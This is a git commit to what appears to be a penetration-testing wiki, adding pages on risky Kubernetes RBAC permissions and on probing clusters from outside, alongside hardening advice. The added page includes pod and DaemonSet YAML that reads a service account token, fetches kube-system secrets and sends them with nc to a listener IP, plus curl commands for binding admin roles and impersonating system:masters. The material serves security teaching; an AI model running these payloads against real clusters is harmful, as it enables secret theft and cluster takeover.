GitBook: [master] 5 pages modified

This commit is contained in:
CPol 2021-04-28 16:27:24 +00:00 committed by gitbook-bot
parent f5d220939a
commit c8e6f41301
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF
5 changed files with 402 additions and 175 deletions

View file

@ -171,7 +171,9 @@
* [Scanner and Fax](pentesting/pentesting-printers/scanner-and-fax.md)
* [Pentesting SAP](pentesting/pentesting-sap.md)
* [Pentesting Kubernetes](pentesting/pentesting-kubernetes/README.md)
* [Pentesting Kubernetes from the outside](pentesting/pentesting-kubernetes/pentesting-kubernetes-from-the-outside.md)
* [Enumeration from a Pod](pentesting/pentesting-kubernetes/enumeration-from-a-pod.md)
* [Hardening Roles/ClusterRoles](pentesting/pentesting-kubernetes/hardening-roles-clusterroles.md)
* [7/tcp/udp - Pentesting Echo](pentesting/7-tcp-udp-pentesting-echo.md)
* [21 - Pentesting FTP](pentesting/pentesting-ftp/README.md)
* [FTP Bounce attack - Scan](pentesting/pentesting-ftp/ftp-bounce-attack.md)

View file

@ -2,7 +2,7 @@
**The main author of this page is** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **\(read his original post** [**here**](https://sickrov.github.io/)**\)**
## ARCHITECTURE & BASICS
## Architecture & Basics
### What does Kubernetes do?
@ -351,9 +351,11 @@ Helm is also a template engine that allows to generate config files with variabl
![](../../.gitbook/assets/image%20%28465%29.png)
## Pentesting Kubernetes from the outside
## VULNERABILITIES and some fixes.
## VULNERABILITIES and some fixes
### Enumeration inside a Pod
@ -838,8 +840,6 @@ The RBAC table is constructed from “**Roles**” and “**ClusterRoles**.” T
Example of **Role** **configuration**:
```yaml
#/api/v1/namespaces/{namespace}/pods/{name}/log
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
@ -867,9 +867,6 @@ metadata:
name: secret-reader
rules:
- apiGroups: [""]
#
# at the HTTP level, the name of the resource for accessing Secret
# objects is "secrets"
resources: ["secrets"]
verbs: ["get", "watch", "list"]
```
@ -1004,3 +1001,5 @@ You should update your Kubernetes environment as frequently as necessary to have
{% embed url="https://www.youtube.com/watch?v=X48VuDVv0do" %}

View file

@ -35,113 +35,7 @@ _**Hot pods are**_ pods containing a privileged service account token. A privile
## RBAC
## Risky Permissions
### Listing Secrets
A user with a role that allows listing secrets \(Figure 8\) can potentially view all the secrets in a specific namespace \(as in our example\) or in the whole cluster \(with ClusterRole\).
![](https://www.cyberark.com/wp-content/uploads/2018/12/listing_secrets_role.png)
Below you can find the way to [**list secrets**](enumeration-from-a-pod.md#get-secrets).
### **Creating a pod with a privileged service account**
An attacker with permission to create a pod in the “kube-system” namespace can create cryptomining containers for example. Moreover, if there is a service account with privileged permissions, the permissions can be used to escalate privileges.
![](../../.gitbook/assets/image%20%28469%29.png)
Here we have a default privileged account named _bootstrap-signer_ with permissions to list all secrets.
![](https://www.cyberark.com/wp-content/uploads/2018/12/rolebinding_with_cluster_admin_clusterrole-1024x545.png)
The attacker can create a malicious pod that will use the privileged service. Then, abusing the service token, it will ex-filtrate the secrets:
![](https://www.cyberark.com/wp-content/uploads/2018/12/pods_yaml_with_autoamountServiceAccountToken-1024x345.png)
```yaml
piVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
```
In the previous image note how the _bootstrap-signer service is used in_ `serviceAccountname`_._
So just create the malicious pod and expect the secrets in port 6666:
![](../../.gitbook/assets/image%20%28470%29.png)
### **Impersonating privileged accounts**
With a [user impersonation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) privilege, an attacker could impersonate a privileged account.
In this example, the service account _sa-imper_ has a binding to a ClusterRole with rules that allow it to impersonate groups and users.
![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRole_for_user_impersonation.png)
![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRole_for_user_impersonation_2.png)
When trying to list all secrets it will fail with a “forbidden” message:
_Error from server \(**Forbidden**\): secrets is forbidden: User “system:serviceaccount:default:sa-imper” cannot list secrets in the namespace “default”_
After using `--ass=null --as-group=system:master`s it will be granted full permissions:
![](https://www.cyberark.com/wp-content/uploads/2018/12/listing_secrets_with_and_without_user_impersonation-1024x108.png)
### **Reading a secret brute-forcing token IDs**
An attacker that found a token with permission to read a secret cant use this permission without knowing the full secrets name. This permission is different from the _**listing** **secrets**_ permission described above.
![](https://www.cyberark.com/wp-content/uploads/2018/12/getting_secret_clusterRole.png)
![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRoleBinding_with_get_secrets_clusterRole.png)
Although the attacker doesnt know the secrets name, there are default service accounts that can be enlisted.
![](https://www.cyberark.com/wp-content/uploads/2018/12/default_service_accounts_list.png)
Each service account has an associated secret with a static \(non-changing\) prefix and a postfix of a random five-character string token at the end.
![](https://www.cyberark.com/wp-content/uploads/2018/12/default_service_account_on_kube_system_namespace-1024x556.png)
The random token structure is 5-character string built from alphanumeric \(lower letters and digits\) characters. **But it doesnt contain all the letters and digits.**
When looking inside the [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83), it appears that the token is generated from only 27 characters “bcdfghjklmnpqrstvwxz2456789” and not 36 \(a-z and 0-9\)
![](https://www.cyberark.com/wp-content/uploads/2018/12/character_set_from_rand_go.png)
![](https://www.cyberark.com/wp-content/uploads/2018/12/comments_on_removing_characters_rand_go_character_set-1024x138.png)
This means that there are 275 = 14,348,907 possibilities for a token.
An attacker can run a brute-force attack to guess the token ID in couple of hours. Succeeding to get secrets from default sensitive service accounts will allow him to escalate privileges.
### **Creating privileged RoleBindings**
The following ClusterRole is using the special verb _bind_ that allows a user to create a RoleBinding with _admin_ ClusterRole \(default high privileged role\) and to add any user, including itself, to this admin ClusterRole.
![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRole_with_bind_verb.png)
The attacker can create a RoleBinding with the default existing _admin_ ClusterRole and bind it to a compromised user, in our case the compromised accounts _sa2_:
![](https://www.cyberark.com/wp-content/uploads/2018/12/rolebinding_with_admin_clusterRole_cretaed_by_the_attacker.png)
By creating this RoleBinding, the service account _sa2_ is becoming a root on the cluster and can execute privileged tasks \(reading secrets, creating pods, etc.\).
If you don't know what is **RBAC**, [**read this section**](./#cluster-hardening-rbac).
## Enumeration CheatSheet
@ -176,6 +70,10 @@ https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/
{% endtab %}
{% endtabs %}
**Once you know which privileges** you have, check the following page to figure out **if you can abuse them** to escalate privileges:
{% page-ref page="hardening-roles-clusterroles.md" %}
### Get Current Context
{% tabs %}
@ -186,13 +84,16 @@ kubectl config current-context
{% endtab %}
{% endtabs %}
### Get secrets
### Get/List secrets
{% tabs %}
{% tab title="kubectl" %}
```text
./kubectl get secrets -o yaml
./kubectl get secrets -o yaml -n custnamespace
./kubectl list secrets -o yaml
./kubectl list secrets -o yaml -n custnamespace
```
{% endtab %}
@ -228,7 +129,7 @@ https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/custnamespace/deployments/
{% endtab %}
{% endtabs %}
### Get deployments
### Get pods
{% tabs %}
{% tab title="kubectl" %}
@ -249,7 +150,7 @@ https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/custnamespace/pods/
{% endtab %}
{% endtabs %}
### Get deployments
### Get nodes
{% tabs %}
{% tab title="kubectl" %}
@ -266,65 +167,15 @@ https://<Kubernetes_API_IP>:<port>/api/v1/nodes/
{% endtab %}
{% endtabs %}
## Built-in Privileged Escalation Prevention
### Get "all"
Although there can be risky permissions, Kubernetes is doing good work preventing other types of permissions with potential for privileged escalation.
Kubernetes has a [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) for that:
“The RBAC API **prevents users from escalating privileges** by editing roles or role bindings. Because this is enforced at the API level, it applies even when the RBAC authorizer is not in use.
A user can only **create/update a role if they already have all the permissions contained in the role**, at the same scope as the role \(cluster-wide for a ClusterRole, within the same namespace or cluster-wide for a Role\)”
Lets see an example for such prevention.
A service account named _sa7_ is in a RoleBinding _edit-role-rolebinding_. This RoleBinding object has a role named _edit-role_ that has **full permissions rules** on roles. Theoretically, it means that the service account can **edit** **any role** in the _default_ namespace.
![](https://www.cyberark.com/wp-content/uploads/2018/12/edit_roles_roleBinding_binding_sa7_to_edit_role.png)
![](https://www.cyberark.com/wp-content/uploads/2018/12/role_to_edit_any_role.png)
There is also an existing role named _list-pods_. Anyone with this role can list all the pods on the _default_ namespace. The user _sa7_ should have permissions to edit any roles, so lets see what happens when it tries to add the “secrets” resource to the roles resources.
![](https://www.cyberark.com/wp-content/uploads/2018/12/edit_role_resources-300x66.png)
After trying to do so, we will receive an error “forbidden: attempt to grant extra privileges” \(Figure 31\), because although our _sa7_ user has permissions to update roles for any resource, it can update the role only for resources that it has permissions over.
![](https://www.cyberark.com/wp-content/uploads/2018/12/forbidden_attempt_to_gran_extra_privileges_message-1024x288.png)
## Best Practices
### **Prevent service account token automounting on pods**
When a pod is being created, it automatically mounts a service account \(the default is default service account in the same namespace\). Not every pod needs the ability to utilize the API from within itself.
From version 1.6+ it is possible to prevent automounting of service account tokens on pods using automountServiceAccountToken: false. It can be used on service accounts or pods.
On a service account it should be added like this:
![](https://www.cyberark.com/wp-content/uploads/2018/12/serviceAccount_with_autoamountServiceAccountToken_false.png)
It is also possible to use it on the pod:
![](https://www.cyberark.com/wp-content/uploads/2018/12/pod_with_autoamountServiceAccountToken_false.png)
### **Grant specific users to RoleBindings\ClusterRoleBindings**
When creating RoleBindings\ClusterRoleBindings, make sure that only the users that need the role in the binding are inside. It is easy to forget users that are not relevant anymore inside such groups.
### **Use Roles and RoleBindings instead of ClusterRoles and ClusterRoleBindings**
When using ClusterRoles and ClusterRoleBindings, it applies on the whole cluster. A user in such a group has its permissions over all the namespaces, which is sometimes unnecessary. Roles and RoleBindings can be applied on a specific namespace and provide another layer of security.
### **Use automated tools**
{% embed url="https://github.com/cyberark/KubiScan" %}
## **References**
{% embed url="https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions" %}
{% tabs %}
{% tab title="kubectl" %}
```text
./kubectl get all
```
{% endtab %}
{% endtabs %}
\*\*\*\*

View file

@ -0,0 +1,318 @@
# Hardening Roles/ClusterRoles
Here you can find some potentially dangerous Roles and ClusterRoles configurations.
## **Access Any Resource or Verb**
This privilege provides access to **any resource with any verb**. It is the most substantial privilege that a user can get, especially if this privilege is also a “ClusterRole.” If its a “ClusterRole,” than the user can access the resources of any namespace and own the cluster with that permission.
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
```
## **Access Any Resource**
Giving a user permission to **access any resource can be very risky**. But, **which verbs** allow access to these resources? Here are some dangerous RBAC permissions that can damage the whole cluster:
* **resources: \["\*"\] verbs: \["create"\]** This privilege can **create any resource** in the cluster, such as **pods**, roles, etc. An attacker might abuse it to **escalate privileges**. An example of this can be found in the **“Pods Creation” section**.
* **resources: \["\*"\] verbs: \["list"\]** The ability to list any resource can be used to **leak other users secrets** and might make it easier to **escalate privileges**. An example of this is located in the **“Listing secrets” section.**
* **resources: \["\*"\] verbs: \["get"\]-** This privilege can be used to **get secrets from other service accounts**.
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]
```
## **Listing Secrets**
The **listing secrets privilege** is a strong capability to have in the cluster. A user with the permission to list secrets can **potentially view all the secrets in the cluster including the admin keys**. The secret key is a JWT token encoded in base64.
![](https://www.cyberark.com/wp-content/uploads/2018/12/listing_secrets_role.png)
An attacker that gains **access to** _**list secrets**_ ****in the cluster can use the following _curl_ commands to get all secrets in “kube-system” namespace:
```bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
![](https://www.cyberark.com/wp-content/uploads/2019/08/Kube-Pentest-Fig-2.png)
## Pod Creation
An attacker with permission to create a pod in the “kube-system” namespace can create cryptomining containers for example. Moreover, if there is a **service account with privileged permissions, by running a pod with that service the permissions can be abused to escalate privileges**.
![](../../.gitbook/assets/image%20%28469%29.png)
Here we have a default privileged account named _bootstrap-signer_ with permissions to list all secrets.
![](https://www.cyberark.com/wp-content/uploads/2018/12/rolebinding_with_cluster_admin_clusterrole-1024x545.png)
The attacker can create a malicious pod that will use the privileged service. Then, abusing the service token, it will ex-filtrate the secrets:
![](https://www.cyberark.com/wp-content/uploads/2018/12/pods_yaml_with_autoamountServiceAccountToken-1024x345.png)
```yaml
piVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
```
In the previous image note how the _bootstrap-signer service is used in_ `serviceAccountname`_._
So just create the malicious pod and expect the secrets in port 6666:
![](../../.gitbook/assets/image%20%28470%29.png)
### \*\*\*\*
## **Create/Update Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs are all privileges that allow the creation of different tasks in the cluster. Moreover, it's possible can use all of them to **develop pods and even create pods**. So it's possible to a**buse them to escalate privileges just like in the previous example.**
Suppose we have the **permission to create a Daemonset** and we create the following YAML file. This YAML file is configured to do the same steps we mentioned in the “create pods” section.
```yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
```
In line 6 you can find the object “spec” and children objects such as “**template**” in line 10. These objects hold the configuration for the task we wish to accomplish. Another thing to notice is the "**serviceAccountName**" in line 15 and the “**containers**” object in line 18. This is the part that relates to creating our malicious container.
Kubernetes API documentation indicates that the “**PodTemplateSpec**” endpoint has the option to create containers. And, as you can see: **deployment,** **daemonsets, statefulsets, replicationcontrollers, replicasets, jobs and cronjobs can all be used to create pods**:
![](https://www.cyberark.com/wp-content/uploads/2019/08/Kube-Pentest-Fig-8.png)
**So, the privilege to create or update tasks can also be abused for privilege escalation in the cluster.**
## **Pods Exec**
**Pod exec** is an option in kubernetes used for **running commands in a shell inside a pod**. This privilege is meant for administrators who want to **access containers and run commands**. Its just like creating a SSH session for the container.
If we have this privilege, we actually get the ability **to take control of all the pods**. In order to do that, we needs to use the following command:
```bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
Note that as you can get inside any pod, you can abuse other pods token just like in [**Pod Creation exploitation**](hardening-roles-clusterroles.md#pod-creation) to try to escalate privileges.
## **Get/Patch Rolebindings**
The privilege to create Rolebindings allows a user to **bind roles to a service account**. This privilege can potentially lead to privilege escalation because it **allows the user to bind admin privileges to a compromised service account.**
The following ClusterRole is using the special verb _bind_ that allows a user to create a RoleBinding with _admin_ ClusterRole \(default high privileged role\) and to add any user, including itself, to this admin ClusterRole.
![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRole_with_bind_verb.png)
Then it's possible to create **`malicious-RoleBinging.json`**, which **binds the admin role to other compromised service account:**
```javascript
{
"apiVersion": "rbac.authorization.k8s.io/v1",
"kind": "RoleBinding",
"metadata": {
"name": "malicious-rolebinding",
"namespaces": "default"
},
"roleRef": {
"apiGroup": "*",
"kind": "ClusterRole",
"name": "admin"
},
"subjects": [
{
"kind": "ServiceAccount",
"name": "compromised-svc"
"namespace": "default"
}
]
}
```
The purpose of this JSON file is to bind the admin “CluserRole” \(line 11\) to the compromised service account \(line 16\).
Now, all we need to do is to send our JSON as a POST request to the API using the following CURL command:
```bash
curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" \
-H "Content-Type: application/json" \
https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings \
-d @malicious-RoleBinging.json
```
After the **admin role is bound to the “compromised-svc” service account**, we can use the compromised service account token to **list secrets**. The following CURL command will do this:
```bash
curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>"\
-H "Content-Type: application/json"
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret
```
## **Impersonating privileged accounts**
With a [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) ****privilege, an attacker could impersonate a privileged account.
In this example, the service account _**sa-imper**_ has a binding to a ClusterRole with rules that allow it to impersonate groups and users.
![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRole_for_user_impersonation.png)
![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRole_for_user_impersonation_2.png)
It's possible to **list all secrets** with `--ass=null --as-group=system:master` attributes:
![](https://www.cyberark.com/wp-content/uploads/2018/12/listing_secrets_with_and_without_user_impersonation-1024x108.png)
**It's also possible to perform the same action via the API REST endpoint:**
```bash
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
## **Reading a secret brute-forcing token IDs**
An attacker that found a token with permission to read a secret cant use this permission without knowing the full secrets name. This permission is different from the _**listing** **secrets**_ permission described above.
![](https://www.cyberark.com/wp-content/uploads/2018/12/getting_secret_clusterRole.png)
![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRoleBinding_with_get_secrets_clusterRole.png)
Although the attacker doesnt know the secrets name, there are default service accounts that can be enlisted.
![](https://www.cyberark.com/wp-content/uploads/2018/12/default_service_accounts_list.png)
Each service account has an associated secret with a static \(non-changing\) prefix and a postfix of a random five-character string token at the end.
![](https://www.cyberark.com/wp-content/uploads/2018/12/default_service_account_on_kube_system_namespace-1024x556.png)
The random token structure is 5-character string built from alphanumeric \(lower letters and digits\) characters. **But it doesnt contain all the letters and digits.**
When looking inside the [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83), it appears that the token is generated from only 27 characters “bcdfghjklmnpqrstvwxz2456789” and not 36 \(a-z and 0-9\)
![](https://www.cyberark.com/wp-content/uploads/2018/12/character_set_from_rand_go.png)
![](https://www.cyberark.com/wp-content/uploads/2018/12/comments_on_removing_characters_rand_go_character_set-1024x138.png)
This means that there are 275 = 14,348,907 possibilities for a token.
An attacker can run a brute-force attack to guess the token ID in couple of hours. Succeeding to get secrets from default sensitive service accounts will allow him to escalate privileges.
## Built-in Privileged Escalation Prevention
Although there can be risky permissions, Kubernetes is doing good work preventing other types of permissions with potential for privileged escalation.
Kubernetes has a [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) for that:
“The RBAC API **prevents users from escalating privileges** by editing roles or role bindings. Because this is enforced at the API level, it applies even when the RBAC authorizer is not in use.
A user can only **create/update a role if they already have all the permissions contained in the role**, at the same scope as the role \(cluster-wide for a ClusterRole, within the same namespace or cluster-wide for a Role\)”
Lets see an example for such prevention.
A service account named _sa7_ is in a RoleBinding _edit-role-rolebinding_. This RoleBinding object has a role named _edit-role_ that has **full permissions rules** on roles. Theoretically, it means that the service account can **edit** **any role** in the _default_ namespace.
![](https://www.cyberark.com/wp-content/uploads/2018/12/edit_roles_roleBinding_binding_sa7_to_edit_role.png)
![](https://www.cyberark.com/wp-content/uploads/2018/12/role_to_edit_any_role.png)
There is also an existing role named _list-pods_. Anyone with this role can list all the pods on the _default_ namespace. The user _sa7_ should have permissions to edit any roles, so lets see what happens when it tries to add the “secrets” resource to the roles resources.
![](https://www.cyberark.com/wp-content/uploads/2018/12/edit_role_resources-300x66.png)
After trying to do so, we will receive an error “forbidden: attempt to grant extra privileges” \(Figure 31\), because although our _sa7_ user has permissions to update roles for any resource, it can update the role only for resources that it has permissions over.
![](https://www.cyberark.com/wp-content/uploads/2018/12/forbidden_attempt_to_gran_extra_privileges_message-1024x288.png)
## Best Practices
### **Prevent service account token automounting on pods**
When a pod is being created, it automatically mounts a service account \(the default is default service account in the same namespace\). Not every pod needs the ability to utilize the API from within itself.
From version 1.6+ it is possible to prevent automounting of service account tokens on pods using automountServiceAccountToken: false. It can be used on service accounts or pods.
On a service account it should be added like this:
![](https://www.cyberark.com/wp-content/uploads/2018/12/serviceAccount_with_autoamountServiceAccountToken_false.png)
It is also possible to use it on the pod:
![](https://www.cyberark.com/wp-content/uploads/2018/12/pod_with_autoamountServiceAccountToken_false.png)
### **Grant specific users to RoleBindings\ClusterRoleBindings**
When creating RoleBindings\ClusterRoleBindings, make sure that only the users that need the role in the binding are inside. It is easy to forget users that are not relevant anymore inside such groups.
### **Use Roles and RoleBindings instead of ClusterRoles and ClusterRoleBindings**
When using ClusterRoles and ClusterRoleBindings, it applies on the whole cluster. A user in such a group has its permissions over all the namespaces, which is sometimes unnecessary. Roles and RoleBindings can be applied on a specific namespace and provide another layer of security.
### **Use automated tools**
{% embed url="https://github.com/cyberark/KubiScan" %}
{% embed url="https://github.com/aquasecurity/kube-hunter" %}
{% embed url="https://github.com/aquasecurity/kube-bench" %}
## \*\*\*\*
## **References**
{% embed url="https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions" %}
{% embed url="https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1" %}
\*\*\*\*

View file

@ -0,0 +1,57 @@
# Pentesting Kubernetes from the outside
There different ways to find exposed **Kubernetes** Pods to the internet.
## Finding exposed pods with OSINT
One way could be searching for `Identity LIKE "k8s.%.com"` in [crt.sh](https://crt.sh/) to find subdomains related to kubernetes. Another way might be to search `"k8s.%.com"` in github and search for **YAML files** containing the string.
## Finding Exposed pods via port scanning
The following ports might be open in a Kubernetes cluster:
| Port | Process | Description |
| :--- | :--- | :--- |
| 443/TCP | kube-apiserver | Kubernetes API port |
| 2379/TCP | etcd | |
| 6666/TCP | etcd | etcd |
| 4194/TCP | cAdvisor | Container metrics |
| 6443/TCP | kube-apiserver | Kubernetes API port |
| 8443/TCP | kube-apiserver | Minikube API port |
| 8080/TCP | kube-apiserver | Insecure API port |
| 10250/TCP | kubelet | HTTPS API which allows full mode access |
| 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods and node state |
| 10256/TCP | kube-proxy | Kube Proxy health check server |
| 9099/TCP | calico-felix | Health check server for Calico |
| 6782-4/TCP | weave | Metrics and endpoints |
### Remote Cluster Misconfigurations
By **default**, API endpoints are **forbidden** to **anonymous** access. But its always a good idea to check if there are any **insecure endpoints that expose sensitive information**:
![](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png)
### **Checking for ETCD Anonymous Access**
The ETCD stores the cluster secrets, configuration files and more **sensitive data**. By **default**, the ETCD **cannot** be accessed **anonymously**, but it always good to check.
If the ETCD can be accessed anonymously, you may need to use the [etcdctl](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) tool. The following command will get all the keys stored:
```text
etcdctl --ndpoints=http://<MASTER-IP>:2379 get / prefix keys-only
```
### **Checking Kubelet \(Read Only Port\) Information Exposure**
When the “kubelet” read-only port is exposed, the attacker can retrieve information from the API. This exposes **cluster configuration elements, such as pods names, location of internal files and other configurations**. This is not critical information, but it still should not be exposed to the internet.
For example, a remote attacker can abuse this by accessing the following URL: `http://<external-IP>:10255/pods`
![](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)
## References
{% embed url="https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-2" %}